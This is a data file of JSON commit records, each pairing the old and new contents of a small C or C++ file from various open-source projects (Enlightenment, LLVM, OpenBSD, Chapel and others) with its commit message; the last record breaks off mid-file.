{"commit":"de0afa4fa188b5659acf2859848e644e0864cdc5","old_file":"hal1.h","new_file":"hal1.h","old_contents":"#ifndef HAL1_H\n#define HAL1_H\n\n\/\/ Configurable constants\n\nextern int const MAIN_MOTOR_PWM_TOP;\nextern int const MAIN_MOTOR_BRAKE_SPEED;\nextern int const MAIN_MOTOR_MIN_SPEED;\nextern int const MAIN_MOTOR_MED_SPEED;\nextern int const MAIN_MOTOR_MAX_SPEED;\nextern int const MAGNET_OPEN_WAIT;\n\nvoid init(void);\n\nvoid main_motor_stop();\nvoid main_motor_cw_open(uint8_t speed);\nvoid main_motor_ccw_close(uint8_t speed);\nvoid aux_motor_stop();\nvoid aux_motor_cw_close();\nvoid aux_motor_ccw_open();\nvoid magnet_off();\nvoid magnet_on();\nbool door_nearly_open();\nbool door_fully_open();\nbool door_fully_closed();\n\nbool sensor_proximity();\nbool button_openclose();\nbool button_stop();\nbool main_encoder();\nbool aux_outdoor_limit();\nbool aux_indoor_limit();\nbool door_nearly_closed();\nbool aux_encoder();\n\n\/\/ Private functions\n\nstatic void set_main_motor_speed(int speed);\n\n#endif\n","new_contents":"#ifndef HAL1_H\n#define HAL1_H\n\n\/\/ Configurable constants\n\nextern int const MAIN_MOTOR_PWM_TOP;\nextern int const MAIN_MOTOR_BRAKE_SPEED;\nextern int const MAIN_MOTOR_MIN_SPEED;\nextern int const MAIN_MOTOR_MED_SPEED;\nextern int const MAIN_MOTOR_MAX_SPEED;\nextern int const MAGNET_OPEN_WAIT;\n\nvoid init(void);\n\nvoid main_motor_stop();\nvoid main_motor_cw_open(uint8_t speed);\nvoid main_motor_ccw_close(uint8_t speed);\nvoid aux_motor_stop();\nvoid aux_motor_cw_close(uint8_t speed);\nvoid aux_motor_ccw_open(uint8_t speed);\nvoid magnet_off();\nvoid magnet_on();\nbool door_nearly_open();\nbool door_fully_open();\nbool door_fully_closed();\n\nbool sensor_proximity();\nbool button_openclose();\nbool button_stop();\nbool main_encoder();\nbool aux_outdoor_limit();\nbool aux_indoor_limit();\nbool door_nearly_closed();\nbool aux_encoder();\n\n\/\/ Private functions\n\nstatic void set_main_motor_speed(int speed);\n\n#endif\n","subject":"Add speed to aux motor functions.","message":"Add speed to aux motor functions.\n","lang":"C","license":"unlicense","repos":"plzz\/ovisysteemi,plzz\/ovisysteemi"}
{"commit":"ebf93089a14d4ee802a317a78225361f6c61fe14","old_file":"base_sheet.h","new_file":"base_sheet.h","old_contents":"#include \"helper.h\"\n#include <string> \/\/ string\n#include <stdlib.h> \/\/ srand, rand\n#include <time.h> \/\/ time - for rand seed\n#include <algorithm> \/\/ sort\n\nusing namespace std;\n\nclass BaseSheet\n{\n    protected:\n        int _level;\n        int _str;\n        int _dex;\n        int _con;\n        int _int;\n        int _wis;\n        int _cha;\n        int _speed ;\n        \/\/ All of these others have enums and a string\n        \/\/ The string is to print out - maybe not the best way\n        Size _size;\n        string _size_text;\n        Alignment_0 _alignment_0;\n        Alignment_1 _alignment_1;\n        string _alignment_text;\n        Race _race;\n        string _race_text;\n        DndClass _class;\n        string _class_text;\n        void set_class(DndClass myClass);\n    public:\n        BaseSheet(DndClass myClass);\n        void print_stats();\n        void level_up();\n        virtual void check_for_abilities();\n        void roll_stats(int[]);\n        virtual void assign_stats(int[]);\n};\n","new_contents":"#include \"helper.h\"\n#include <string> \/\/ string\n#include <stdlib.h> \/\/ srand, rand\n#include <time.h> \/\/ time - for rand seed\n#include <algorithm> \/\/ sort\n#include <functional> \/\/ std::greater for mac osx\n\nusing namespace std;\n\nclass BaseSheet\n{\n    protected:\n        int _level;\n        int _str;\n        int _dex;\n        int _con;\n        int _int;\n        int _wis;\n        int _cha;\n        int _speed ;\n        \/\/ All of these others have enums and a string\n        \/\/ The string is to print out - maybe not the best way\n        Size _size;\n        string _size_text;\n        Alignment_0 _alignment_0;\n        Alignment_1 _alignment_1;\n        string _alignment_text;\n        Race _race;\n        string _race_text;\n        DndClass _class;\n        string _class_text;\n        void set_class(DndClass myClass);\n    public:\n        BaseSheet(DndClass myClass);\n        void print_stats();\n        void level_up();\n        virtual void check_for_abilities();\n        void roll_stats(int[]);\n        virtual void assign_stats(int[]);\n};\n","subject":"Add include <functional> for osx","message":"Add include <functional> for osx\n","lang":"C","license":"mit","repos":"golddiamonds\/character"}
{"commit":"245dbbfe13b1a31e5955106d58687c3b384dca66","old_file":"dev\/ic\/i8237reg.h","new_file":"dev\/ic\/i8237reg.h","old_contents":"\/*\t$OpenBSD: i8237reg.h,v 1.2 1996\/04\/18 23:47:19 niklas Exp $\t*\/\n\/*\t$NetBSD: i8237reg.h,v 1.5 1996\/03\/01 22:27:09 mycroft Exp $\t*\/\n\n\/*\n * Intel 8237 DMA Controller\n *\/\n\n#define\tDMA37MD_WRITE\t0x04\t\/* read the device, write memory operation *\/\n#define\tDMA37MD_READ\t0x08\t\/* write the device, read memory operation *\/\n#define\tDMA37MD_LOOP\t0x10\t\/* auto-initialize mode *\/\n#define\tDMA37MD_SINGLE\t0x40\t\/* single pass mode *\/\n#define\tDMA37MD_CASCADE\t0xc0\t\/* cascade mode *\/\n\t\n#define\tDMA37SM_CLEAR\t0x00\t\/* clear mask bit *\/\n#define\tDMA37SM_SET\t0x04\t\/* set mask bit *\/\n","new_contents":"\/*\t$OpenBSD: i8237reg.h,v 1.3 1999\/08\/04 23:07:49 niklas Exp $\t*\/\n\/*\t$NetBSD: i8237reg.h,v 1.5 1996\/03\/01 22:27:09 mycroft Exp $\t*\/\n\n\/*\n * Intel 8237 DMA Controller\n *\/\n\n#define\tDMA37MD_DEMAND\t0x00\t\/* demand mode *\/\n#define\tDMA37MD_WRITE\t0x04\t\/* read the device, write memory operation *\/\n#define\tDMA37MD_READ\t0x08\t\/* write the device, read memory operation *\/\n#define\tDMA37MD_LOOP\t0x10\t\/* auto-initialize mode *\/\n#define\tDMA37MD_SINGLE\t0x40\t\/* single pass mode *\/\n#define\tDMA37MD_CASCADE\t0xc0\t\/* cascade mode *\/\n\t\n#define\tDMA37SM_CLEAR\t0x00\t\/* clear mask bit *\/\n#define\tDMA37SM_SET\t0x04\t\/* set mask bit *\/\n","subject":"Add new manifest constant for demand mode DMA; form NetBSD","message":"Add new manifest constant for demand mode DMA; form NetBSD\n","lang":"C","license":"isc","repos":"orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars"}
{"commit":"734e841eb3c657ecd5de0884b2aac2929d1bf28c","old_file":"src\/bin\/e_randr.h","new_file":"src\/bin\/e_randr.h","old_contents":"","new_contents":"#ifdef E_TYPEDEFS\n\ntypedef struct _E_Randr_Output_Config E_Randr_Output_Config;\ntypedef struct _E_Randr_Crtc_Config E_Randr_Crtc_Config;\ntypedef struct _E_Randr_Config E_Randr_Config;\n\n#else\n# ifndef E_RANDR_H\n#  define E_RANDR_H\n\n#define E_RANDR_CONFIG_FILE_EPOCH 1\n#define E_RANDR_CONFIG_FILE_GENERATION 1\n#define E_RANDR_CONFIG_FILE_VERSION \\\n   ((E_RANDR_CONFIG_FILE_EPOCH * 1000000) + E_RANDR_CONFIG_FILE_GENERATION)\n\nstruct _E_Randr_Output_Config\n{\n   unsigned int xid; \/\/ ecore_x_randr output id (xid)\n   unsigned int crtc; \/\/ ecore_x_randr crtc id (xid)\n   unsigned int policy; \/\/ value of the ecore_x_randr_output_policy\n   unsigned char primary; \/\/ flag to indicate if primary output\n   unsigned long edid_count; \/\/ monitor's edid length\n   unsigned char *edid; \/\/ monitor's edid\n   double timestamp; \/\/ config timestamp\n};\n\nstruct _E_Randr_Crtc_Config\n{\n   unsigned int xid; \/\/ ecore_x_randr crtc id (xid)\n   int x, y, width, height; \/\/ geometry\n   unsigned int orient; \/\/ value of the ecore_x_randr_orientation\n   unsigned int mode; \/\/ ecore_x_randr mode id (xid)\n   Eina_List *outputs; \/\/ list of outputs for this crtc\n   double timestamp; \/\/ config timestamp\n};\n\nstruct _E_Randr_Config\n{\n   \/* RANDR CONFIG\n    * \n    * Screen:\n    *   width, height (int);\n    * \n    * list of crtcs\n    *   each crtc having:\n    *     unsigned int crtc_id (Ecore_X_ID);\n    *     int x, y, w, h; (Eina_Rectangle);\n    *     unsigned int orientation (Ecore_X_Randr_Orienation);\n    *     unsigned int mode_id (Ecore_X_ID);\n    *     list of outputs\n    *       each output having:\n    *         unsigned int output_id (Ecore_X_ID);\n    *         unsigned int crtc_id (Ecore_X_ID);\n    *         unsigned int output_policy;\n    *\/\n\n   int version; \/\/ INTERNAL CONFIG VERSION\n\n   struct\n     {\n        int width, height; \/\/ geometry\n        double timestamp; \/\/ config timestamp\n     } screen;\n\n   Eina_List *crtcs;\n};\n\nEINTERN Eina_Bool e_randr_init(void);\nEINTERN int e_randr_shutdown(void);\n\nEAPI Eina_Bool e_randr_config_save(void);\n\nextern EAPI E_Randr_Config *e_randr_cfg;\n\n# endif\n#endif\n","subject":"Add new randr header file.","message":"Add new randr header file.\n\nSigned-off-by: Christopher Michael <cp.michael@samsung.com>\n\nSVN revision: 84109\n","lang":"C","license":"bsd-2-clause","repos":"rvandegrift\/e,tasn\/enlightenment,FlorentRevest\/Enlightenment,FlorentRevest\/Enlightenment,rvandegrift\/e,tasn\/enlightenment,rvandegrift\/e,tizenorg\/platform.upstream.enlightenment,FlorentRevest\/Enlightenment,tizenorg\/platform.upstream.enlightenment,tasn\/enlightenment,tizenorg\/platform.upstream.enlightenment"}
{"commit":"1ca47e1e88457d9bd9998e2cc2aae19495d4668b","old_file":"examples\/rmc-test.c","new_file":"examples\/rmc-test.c","old_contents":"#include \"rmc.h\"\n\n\/\/ Some test cases that required some bogosity to not have the branches get\n\/\/ optimized away.\n\/\/\n\/\/ Also, if r doesn't get used usefully, that load gets optimized away.\n\/\/ I can't decide whether that is totally fucked or not.\n\nint global_p, global_q;\n\nint bogus_ctrl_dep1() {\n    XEDGE(read, write);\n\n    L(read, int r = global_p);\n    if (r == r) {\n        L(write, global_q = 1);\n    }\n\n    return r;\n}\n\n\/\/ Do basically the same thing in each branch\nint bogus_ctrl_dep2() {\n    XEDGE(read, write);\n\n    L(read, int r = global_p);\n    if (r) {\n        L(write, global_q = 1);\n    } else {\n        L(write, global_q = 1);\n    }\n\n    return r;\n}\n\n\/\/ Have a bogus ctrl dep\nint bogus_ctrl_dep3() {\n    XEDGE(read, write);\n\n    L(read, int r = global_p);\n    if (r) {};\n\n    L(write, global_q = 1);\n\n    return r;\n}\n","new_contents":"#include \"rmc.h\"\n\n\/\/ Some test cases that required some bogosity to not have the branches get\n\/\/ optimized away.\n\/\/\n\/\/ Also, if r doesn't get used usefully, that load gets optimized away.\n\/\/ I can't decide whether that is totally fucked or not.\n\nint global_p, global_q;\n\nint bogus_ctrl_dep1() {\n    XEDGE(read, write);\n\n    L(read, int r = global_p);\n    if (r == r) {\n        L(write, global_q = 1);\n    }\n\n    return r;\n}\n\n\/\/ Do basically the same thing in each branch\nint bogus_ctrl_dep2() {\n    XEDGE(read, write);\n\n    L(read, int r = global_p);\n    if (r) {\n        L(write, global_q = 1);\n    } else {\n        L(write, global_q = 1);\n    }\n\n    return r;\n}\n\n\/\/ Have a totally ignored ctrl dep\nint bogus_ctrl_dep3() {\n    XEDGE(read, write);\n\n    L(read, int r = global_p);\n    if (r) {};\n\n    L(write, global_q = 1);\n\n    return r;\n}\n\n\/\/ Have a ctrl dep that is redundant\nint bogus_ctrl_dep4() {\n    XEDGE(read, write);\n\n    L(read, int r = global_p);\n    if (r || 1) {\n        L(write, global_q = 1);\n    }\n\n    return r;\n}\n","subject":"Add another ctrl dep test that we get right!","message":"Add another ctrl dep test that we get right!\n","lang":"C","license":"mit","repos":"msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler"}
{"commit":"f8203a77c906cc8e5991d46a3387b2273223a7b5","old_file":"exercise109.c","new_file":"exercise109.c","old_contents":"","new_contents":"\/* Exercise 1-8: Write a program to copy its input to its output, replacing\n * each string of one of more blanks with a single blank. *\/\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(int argc, char **argv)\n{\n  int16_t character, previous_character;\n  while ((character = getchar()) != EOF) {\n    if ((previous_character == ' ') && (character == ' ')) {\n      continue;\n    } else {\n      putchar(character);\n    previous_character = character;\n    }\n  }\n  return EXIT_SUCCESS;\n}\n","subject":"Add solution to Exercise 1-9.","message":"Add solution to Exercise 1-9.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"50dd6a56970747d566d2ce3eee4305e2e530a16d","old_file":"src\/bin\/e_error.c","new_file":"src\/bin\/e_error.c","old_contents":"#include \"e.h\"\n\n\/* local subsystem functions *\/\n\n\/* local subsystem globals *\/\n\n\/* externally accessible functions *\/\nEAPI void\ne_error_message_show_internal(char *txt)\n{\n   \/* FIXME: maybe log these to a file and display them at some point *\/\n   printf(\"<<<< Enlightenment Error >>>>\\n\"\n\t  \"%s\\n\",\n\t  txt);\n}\n\n\/* local subsystem functions *\/\n","new_contents":"#include \"e.h\"\n\n\/* local subsystem functions *\/\n\n\/* local subsystem globals *\/\n\n\/* externally accessible functions *\/\nEAPI void\ne_error_message_show_internal(char *txt)\n{\n   \/* FIXME: maybe log these to a file and display them at some point *\/\n   printf(\"<<<< Enlightenment Error >>>>\\n%s\\n\", txt);\n}\n\n\/* local subsystem functions *\/\n","subject":"Fix formatting. (Really ??? 3 lines for something that can fit on one ?)","message":"E: Fix formatting. (Really ??? 3 lines for something that can fit on\none ?)\n\n\n\nSVN revision: 61614\n","lang":"C","license":"bsd-2-clause","repos":"tizenorg\/platform.upstream.enlightenment,FlorentRevest\/Enlightenment,tasn\/enlightenment,rvandegrift\/e,FlorentRevest\/Enlightenment,tizenorg\/platform.upstream.enlightenment,tasn\/enlightenment,rvandegrift\/e,tizenorg\/platform.upstream.enlightenment,rvandegrift\/e,tasn\/enlightenment,FlorentRevest\/Enlightenment"}
{"commit":"b54503d351bf638969a5dd9e7113f8bc419ee24f","old_file":"tmcd\/decls.h","new_file":"tmcd\/decls.h","old_contents":"\/*\n * EMULAB-COPYRIGHT\n * Copyright (c) 2000-2002 University of Utah and the Flux Group.\n * All rights reserved.\n *\/\n\n#define TBSERVER_PORT\t\t7777\n#define TBSERVER_PORT2\t\t14443\n#define MYBUFSIZE\t\t2048\n#define BOSSNODE_FILENAME\t\"bossnode\"\n\n\/*\n * As the tmcd changes, incompatable changes with older version of\n * the software cause problems. Starting with version 3, the client\n * will tell tmcd what version they are. If no version is included,\n * assume its DEFAULT_VERSION.\n *\n * Be sure to update the versions as the TMCD changes. Both the\n * tmcc and tmcd have CURRENT_VERSION compiled in, so be sure to\n * install new versions of each binary when the current version\n * changes. libsetup.pm module also encodes a current version, so be\n * sure to change it there too!\n *\n * Note, this is assumed to be an integer. No need for 3.23.479 ...\n * NB: See ron\/libsetup.pm. That is version 4! I'll merge that in. \n *\/\n#define DEFAULT_VERSION\t\t2\n#define CURRENT_VERSION\t\t6\n","new_contents":"\/*\n * EMULAB-COPYRIGHT\n * Copyright (c) 2000-2002 University of Utah and the Flux Group.\n * All rights reserved.\n *\/\n\n#define TBSERVER_PORT\t\t7777\n#define TBSERVER_PORT2\t\t14447\n#define MYBUFSIZE\t\t2048\n#define BOSSNODE_FILENAME\t\"bossnode\"\n\n\/*\n * As the tmcd changes, incompatable changes with older version of\n * the software cause problems. Starting with version 3, the client\n * will tell tmcd what version they are. If no version is included,\n * assume its DEFAULT_VERSION.\n *\n * Be sure to update the versions as the TMCD changes. Both the\n * tmcc and tmcd have CURRENT_VERSION compiled in, so be sure to\n * install new versions of each binary when the current version\n * changes. libsetup.pm module also encodes a current version, so be\n * sure to change it there too!\n *\n * Note, this is assumed to be an integer. No need for 3.23.479 ...\n * NB: See ron\/libsetup.pm. That is version 4! I'll merge that in. \n *\/\n#define DEFAULT_VERSION\t\t2\n#define CURRENT_VERSION\t\t6\n","subject":"Change alternate port number; seemed to be taken already!","message":"Change alternate port number; seemed to be taken already!\n","lang":"C","license":"agpl-3.0","repos":"nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome"}
{"commit":"de7f24245a2b51af5ff3489d897ed490d8a0e776","old_file":"BRScroller\/BRScrollerUtilities.h","new_file":"BRScroller\/BRScrollerUtilities.h","old_contents":"\/\/\n\/\/  BRScrollerUtilities.h\n\/\/  BRScroller\n\/\/\n\/\/  Created by Matt on 7\/11\/13.\n\/\/  Copyright (c) 2013 Blue Rocket. Distributable under the terms of the Apache License, Version 2.0.\n\/\/\n\n#ifndef BRScroller_BRScrollerUtilities_h\n#define BRScroller_BRScrollerUtilities_h\n\n#include <CoreFoundation\/CoreFoundation.h>\n#include <QuartzCore\/QuartzCore.h>\n\nbool BRFloatsAreEqual(CGFloat a, CGFloat b);\n\nCGSize BRAspectSizeToFit(CGSize size, CGSize maxSize);\n\n#endif\n","new_contents":"\/\/\n\/\/  BRScrollerUtilities.h\n\/\/  BRScroller\n\/\/\n\/\/  Created by Matt on 7\/11\/13.\n\/\/  Copyright (c) 2013 Blue Rocket. Distributable under the terms of the Apache License, Version 2.0.\n\/\/\n\n#ifndef BRScroller_BRScrollerUtilities_h\n#define BRScroller_BRScrollerUtilities_h\n\n#include <CoreGraphics\/CoreGraphics.h>\n\nbool BRFloatsAreEqual(CGFloat a, CGFloat b);\n\nCGSize BRAspectSizeToFit(CGSize size, CGSize maxSize);\n\n#endif\n","subject":"Fix import to what's actually needed.","message":"Fix import to what's actually needed.\n","lang":"C","license":"apache-2.0","repos":"Blue-Rocket\/BRScroller,Blue-Rocket\/BRScroller"}
{"commit":"4c22fc7c302ac0e6a26c7113bef5c6d23cc1625a","old_file":"test\/studies\/filerator\/direnthelp.h","new_file":"test\/studies\/filerator\/direnthelp.h","old_contents":"#include \"dirent.h\"\n\ntypedef DIR* DIRptr;\ntypedef struct dirent* direntptr;\n\n#define chpl_rt_direntptr_getname(x) ((x)->d_name)\n\n\/\/\n\/\/ Note: This is not portable; more generally, need to use lstat() or similar;\n\/\/ see the readdir() man page for notes\n\/\/\n#define chpl_rt_direntptr_isDir(x)   ((x)->d_type == DT_DIR)\n","new_contents":"#include \"dirent.h\"\n\ntypedef DIR* DIRptr;\n\n#ifndef __USE_FILE_OFFSET64\ntypedef struct dirent* direntptr;\n#else\n#ifdef __REDIRECT\ntypedef struct dirent* direntptr;\n#else\ntypedef struct dirent64* direntptr;\n#endif\n#endif\n\n#define chpl_rt_direntptr_getname(x) ((x)->d_name)\n\n\/\/\n\/\/ Note: This is not portable; more generally, need to use lstat() or similar;\n\/\/ see the readdir() man page for notes\n\/\/\n#define chpl_rt_direntptr_isDir(x)   ((x)->d_type == DT_DIR)\n","subject":"Make the filerator test more portable","message":"Make the filerator test more portable\n\nFor some reason that I haven't been able to determine, the return type of\nreaddir() is sometimes dirent64* rather than dirent* as all the man pages and\ndocumentation that I can find suggest.  This happens with prgenv-pgi and\nprgenv-cray compilers for example.  Here, I'm guarding our typedef of\n'direntptr' for Chapel's use with a similar #ifndef structure as the\n\/usr\/lib\/dirent.h file to make this test work on our current systems.  This is\nlikely be something that we need to understand and resolve better before\nputting a filerator into our standard libraries, though... :(\n\n\n\ngit-svn-id: 88467cb1fb04b8a755be7e1ee1026be4190196ef@23824 3a8e244f-b0f2-452b-bcba-4c88e055c3ca\n","lang":"C","license":"apache-2.0","repos":"CoryMcCartan\/chapel,CoryMcCartan\/chapel,hildeth\/chapel,CoryMcCartan\/chapel,sungeunchoi\/chapel,hildeth\/chapel,sungeunchoi\/chapel,hildeth\/chapel,chizarlicious\/chapel,sungeunchoi\/chapel,CoryMcCartan\/chapel,sungeunchoi\/chapel,chizarlicious\/chapel,chizarlicious\/chapel,sungeunchoi\/chapel,chizarlicious\/chapel,CoryMcCartan\/chapel,chizarlicious\/chapel,hildeth\/chapel,hildeth\/chapel,hildeth\/chapel,CoryMcCartan\/chapel,sungeunchoi\/chapel,chizarlicious\/chapel,CoryMcCartan\/chapel,hildeth\/chapel,chizarlicious\/chapel,sungeunchoi\/chapel,sungeunchoi\/chapel"}
{"commit":"d60caada8b9cad01a953981954856f26805674ec","old_file":"include\/llvm\/TableGen\/TableGenBackend.h","new_file":"include\/llvm\/TableGen\/TableGenBackend.h","old_contents":"\/\/===- llvm\/TableGen\/TableGenBackend.h - Backend utilities ------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Useful utilities for TableGen backends.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TABLEGEN_TABLEGENBACKEND_H\n#define LLVM_TABLEGEN_TABLEGENBACKEND_H\n\n#include \"llvm\/ADT\/StringRef.h\"\n\nnamespace llvm {\n\nclass raw_ostream;\n\n\/\/\/ emitSourceFileHeader - Output an LLVM style file header to the specified\n\/\/\/ raw_ostream.\nvoid emitSourceFileHeader(StringRef Desc, raw_ostream &OS);\n\n} \/\/ End llvm namespace\n\n#endif\n","new_contents":"\/\/===- llvm\/TableGen\/TableGenBackend.h - Backend utilities ------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Useful utilities for TableGen backends.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TABLEGEN_TABLEGENBACKEND_H\n#define LLVM_TABLEGEN_TABLEGENBACKEND_H\n\nnamespace llvm {\n\nclass StringRef;\nclass raw_ostream;\n\n\/\/\/ emitSourceFileHeader - Output an LLVM style file header to the specified\n\/\/\/ raw_ostream.\nvoid emitSourceFileHeader(StringRef Desc, raw_ostream &OS);\n\n} \/\/ End llvm namespace\n\n#endif\n","subject":"Remove unnecessary include and just forward declare. NFC","message":"[TableGen] Remove unnecessary include and just forward declare. NFC\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@238179 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap"}
{"commit":"7513987860278927682945fc5f2d06c79bcac2ed","old_file":"include\/tma.h","new_file":"include\/tma.h","old_contents":"","new_contents":"\/* Copyright (c) 2011, Jon Maken\n * License: 3-clause BSD\n * Revision: 11\/26\/2011 7:57:44 PM\n *\/\n\n#if defined(_WIN32)\n#  define TMA_CAPI(type) extern \"C\" __declspec(dllexport) type\n#else\n#  define TMA_CAPI(type) extern \"C\" type\n#endif\n","subject":"Add custom code timing DLLs header","message":"Add custom code timing DLLs header\n","lang":"C","license":"bsd-3-clause","repos":"jonforums\/tma,jonforums\/tma,jonforums\/tma"}
{"commit":"351c01d249e0b93f4d2805f5b93d6cb52fae8894","old_file":"UIKitExtensions\/UIView\/Framing.h","new_file":"UIKitExtensions\/UIView\/Framing.h","old_contents":"\/\/ UIKitExtensions\n\/\/\n\/\/ UIKitExtensions\/UIView\/Framing.h\n\/\/\n\/\/ Copyright (c) 2013 Stanislaw Pankevich\n\/\/ Released under the MIT license\n\/\/\n\/\/ Inspired by FrameAccessor\n\/\/ https:\/\/github.com\/AlexDenisov\/FrameAccessor\/\n\n#import <UIKit\/UIKit.h>\n\n@interface UIView (Framing)\n\n@property CGPoint viewOrigin;\n@property CGSize  viewSize;\n\n@property CGFloat x;\n@property CGFloat y;\n@property CGFloat height;\n@property CGFloat width;\n\n@property CGFloat centerX;\n@property CGFloat centerY;\n\n@end\n\n","new_contents":"\/\/ UIKitExtensions\n\/\/\n\/\/ UIKitExtensions\/UIView\/Framing.h\n\/\/\n\/\/ Copyright (c) 2013 Stanislaw Pankevich\n\/\/ Released under the MIT license\n\/\/\n\/\/ Inspired by FrameAccessor\n\/\/ https:\/\/github.com\/AlexDenisov\/FrameAccessor\/\n\n#import <UIKit\/UIKit.h>\n\n@interface UIView (Framing)\n\n\/\/ http:\/\/stackoverflow.com\/questions\/16118106\/uitextview-strange-text-clipping\n\/\/ https:\/\/github.com\/genericspecific\/CKUITools\/issues\/8\n@property CGPoint viewOrigin;\n@property CGSize  viewSize;\n\n@property CGFloat x;\n@property CGFloat y;\n@property CGFloat height;\n@property CGFloat width;\n\n@property CGFloat centerX;\n@property CGFloat centerY;\n\n@end\n\n","subject":"Add links to original problem","message":"Add links to original problem\n","lang":"C","license":"mit","repos":"stanislaw\/UIKitExtensions,stanislaw\/UIKitExtensions,stanislaw\/UIKitExtensions,stanislaw\/UIKitExtensions"}
{"commit":"5422ab894dc9c35d94656d6879879e076fc9d0e0","old_file":"hw\/vpi\/tenyr_vpi.h","new_file":"hw\/vpi\/tenyr_vpi.h","old_contents":"#ifndef TENYR_VPI_\n#define TENYR_VPI_\n\n#include <vpi_user.h>\n\nstruct tenyr_sim_state;\n\ntypedef int tenyr_sim_cb(p_cb_data data);\ntypedef int tenyr_sim_call(struct tenyr_sim_state *state, void *userdata);\n\nstruct tenyr_sim_state {\n    struct {\n        tenyr_sim_call *genesis;      \/\/\/< beginning of sim\n        tenyr_sim_call *posedge;      \/\/\/< rising  edge of clock\n        tenyr_sim_call *negedge;      \/\/\/< falling edge of clock\n        tenyr_sim_call *apocalypse;   \/\/\/< end of sim\n    } cb;\n    struct {\n        struct {\n            vpiHandle genesis, apocalypse;\n        } cb;\n        struct {\n            vpiHandle tenyr_load;\n            vpiHandle tenyr_putchar;\n#if 0\n\t\t\t\/\/ XXX this code is not tenyr-correct -- it can block\n            vpiHandle tenyr_getchar;\n#endif\n        } tf;\n    } handle;\n    void *extstate; \/\/\/< external state possibly used by tenyr_sim_cb's\n};\n\n#endif\n\n","new_contents":"#ifndef TENYR_VPI_\n#define TENYR_VPI_\n\n#include <vpi_user.h>\n\nstruct tenyr_sim_state;\n\ntypedef int tenyr_sim_cb(p_cb_data data);\ntypedef int tenyr_sim_call(struct tenyr_sim_state *state, void *userdata);\n\nstruct tenyr_sim_state {\n    struct {\n        tenyr_sim_call *genesis;      \/\/\/< beginning of sim\n        tenyr_sim_call *posedge;      \/\/\/< rising  edge of clock\n        tenyr_sim_call *negedge;      \/\/\/< falling edge of clock\n        tenyr_sim_call *apocalypse;   \/\/\/< end of sim\n    } cb;\n    struct {\n        struct {\n            vpiHandle genesis, apocalypse;\n        } cb;\n        struct {\n            vpiHandle tenyr_load;\n            vpiHandle tenyr_putchar;\n#if 0\n            \/\/ XXX this code is not tenyr-correct -- it can block\n            vpiHandle tenyr_getchar;\n#endif\n        } tf;\n    } handle;\n    void *extstate; \/\/\/< external state possibly used by tenyr_sim_cb's\n};\n\n#endif\n\n","subject":"Mend incorrect whitespace from 3103a58","message":"Mend incorrect whitespace from 3103a58\n","lang":"C","license":"mit","repos":"kulp\/tenyr,kulp\/tenyr,kulp\/tenyr"}
{"commit":"7d6b667ae70747e9f111eedb98f66fca20c9f43e","old_file":"value.h","new_file":"value.h","old_contents":"#pragma once\n#include <stdio.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nenum Turbo_Type {TJ_Error, TJ_String, TJ_Number, TJ_Object, TJ_Array, TJ_Boolean, TJ_Null};\n\nstruct Turbo_Value{\n    enum Turbo_Type type;\n    unsigned length;\n    union{\n        double number;\n        int boolean;\n        const char *string;\n        struct Turbo_Value *array;\n        struct Turbo_Property *object;\n        struct Turbo_Error *error;\n    } value;\n};\n\nconst char *Turbo_Value(struct Turbo_Value * __restrict__ to, const char *in, const char *const end);\nvoid Turbo_WriteValue(struct Turbo_Value *that, FILE *out, int level);\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"#pragma once\n#include <stdio.h>\n\n#ifdef _MSC_VER\n#define __restrict__ __restrict\n#elif defined __WATCOMC__\n#define __restrict__\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nenum Turbo_Type {TJ_Error, TJ_String, TJ_Number, TJ_Object, TJ_Array, TJ_Boolean, TJ_Null};\n\nstruct Turbo_Value{\n    enum Turbo_Type type;\n    unsigned length;\n    union{\n        double number;\n        int boolean;\n        const char *string;\n        struct Turbo_Value *array;\n        struct Turbo_Property *object;\n        struct Turbo_Error *error;\n    } value;\n};\n\nconst char *Turbo_Value(struct Turbo_Value * __restrict__ to, const char *in, const char *const end);\nvoid Turbo_WriteValue(struct 